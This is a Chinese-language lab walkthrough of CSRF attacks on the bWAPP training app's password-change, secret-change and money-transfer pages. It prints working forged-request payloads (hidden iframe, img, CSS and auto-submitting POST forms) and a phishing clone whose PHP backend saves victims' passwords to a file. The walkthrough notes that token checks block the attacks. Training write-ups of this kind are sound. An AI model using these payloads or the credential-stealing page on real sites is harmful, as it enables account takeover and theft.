一、CSRF (Change Password)
1.1、Low
本场景,通过GET请求方式修改密码, 并且验证仅验证两次输入的新密码是否相同: 面对本场景的攻击:攻击者将在自己的站点上构造恶意页面,并引诱被攻击者访问恶意页面的链接,即可达到攻击目的。 恶意页面源码:
//1.链接利用(a标签)
< a href = " http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=change" > Submit</ a>
//2.iframe利用。注意:可以设置iframe的style为display:none,以此来不显示iframe加载的内容
< iframe src = " http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=change" style =" display : none" > </ iframe>
//3.img标签利用。img标签内的内容会随着页面加载而被请求,以此src指向的位置会在页面加载过程中进行请求
< img src = " http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=change" >
//4.CSS中background利用
可以利用CSS中background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求
< h1 style =" background : url('http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=change') ; " > CSRF</ h1>
1.2、Medium & High
本场景,修改密码时需要输入原密码,加以验证。当通过原密码验证后才可以修改密码。 先通过钓鱼的方式攻击:构造一个钓鱼界面,诱导用户输入旧密码, 然后通过JS脚本"悄悄"将旧密码发送到攻击者服务器这里为了与原网页仿真, 复制HTML源代码:
< head>
< meta http-equiv = " Content-Type" content = " text/html; charset=UTF-8" >
< title> bWAPP - CSRF</ title>
</ head>
< body>
< header>
< h1> bWAPP</ h1>
</ header>
< div id = " main" >
< h1> CSRF (Change Password)</ h1>
< p> Change your password.</ p>
< form action = " http://127.0.0.1/csrf_hack_get.php" method = " GET" >
< p> < label for = " password_curr" > Current password:</ label> < br />
< input type = " password" id = " password_curr" name = " password_curr" > </ p>
< p> < label for = " password_new" > New password:</ label> < br />
< input type = " password" id = " password_new" name = " password_new" > </ p>
< p>
< label for = " password_conf" > Re-type new password:</ label> < br />
< input type = " password" id = " password_conf" name = " password_conf" > </ p>
< button type = " submit" name = " action" value = " change" > Change</ button>
</ form>
</ div>
</ body>
</ html>
攻击者将上述代码保存为csrf-hack.html
文件。 当提交表单时,发送表单数据到名为 http://127.0.0.1/csrf_hack_get.php
的文件(保存用户的输入),攻击者服务器上的 csrf_hack_get.php源代码:
<?php
$password_curr = $_GET [ 'password_curr' ] ;
$password_new = $_GET [ 'password_new' ] ;
$file = fopen ( "secret.txt" , "w" ) or die ( "Unble to open file!" ) ;
fwrite ( $file , $password_curr ) ;
fwrite ( $file , $password_new ) ;
fclose ( $file ) ;
?>
< ! DOCTYPE html>
< html>
< head>
< title> 404 Not Found< / title>
< / head>
< body>
< h1> Not Found< / h1>
< / body>
< / html>
攻击者将构造的恶意链接http://127.0.0.1/csrf-hack.html
发给用户,诱导其访问。并填写 下图是通过钓鱼
,获取到用户的原密码,即:password
二、CSRF (Change Secret)
2.1、Low
以POST请求方式,修改密码。 构造POST形式的恶意网页链接,诱导用户在其登录的状态下访问恶意链接http://127.0.0.1/csrf-post.html
,网页文件csrf-post.html
源码如下:
< html>
< head>
< meta charset = " UTF-8" >
< title> Title</ title>
</ head>
< body>
< form action = " http://192.168.83.129:10001/csrf_3.php" method = " POST" target = " csrf-frame" id = " csrf-form" >
< input type = " hidden" name = " secret" value = " hacker" />
< input type = " hidden" name = " login" value = " bee" />
< input type = " hidden" name = " action" value = " change" />
</ form>
< script> document. getElementById ( "csrf-form" ) . submit ( ) </ script>
</ body>
</ html>
2.2、Medium
以POST请求方式,修改密码时需要验证token
,此token
值是动态的。 有效防止了CSRF。
三、CSRF (Transfer Amount)
3.1、Low
模拟转账, 使用的是GET请求方式, 这就使得转账金额和对方账户都在URL中暴露: 构造POST形式的恶意网页链接,诱导用户在其登录的状态下访问恶意链接http://127.0.0.1/bwapp-csrf.html
,网页文件bwapp-csrf.html
源码如下:
< a href = " http://192.168.83.129:10001/csrf_2.php?account=123-45678-90&amount=10&action=transfer" > Submit</ a>
用户一旦访问到这个构造的链接,账户上的金额就会被转走。
3.2、Medium & High
模拟转账, 使用的是GET请求方式, 转账时需要验证token
,此token
值是动态的。 有效防止了CSRF。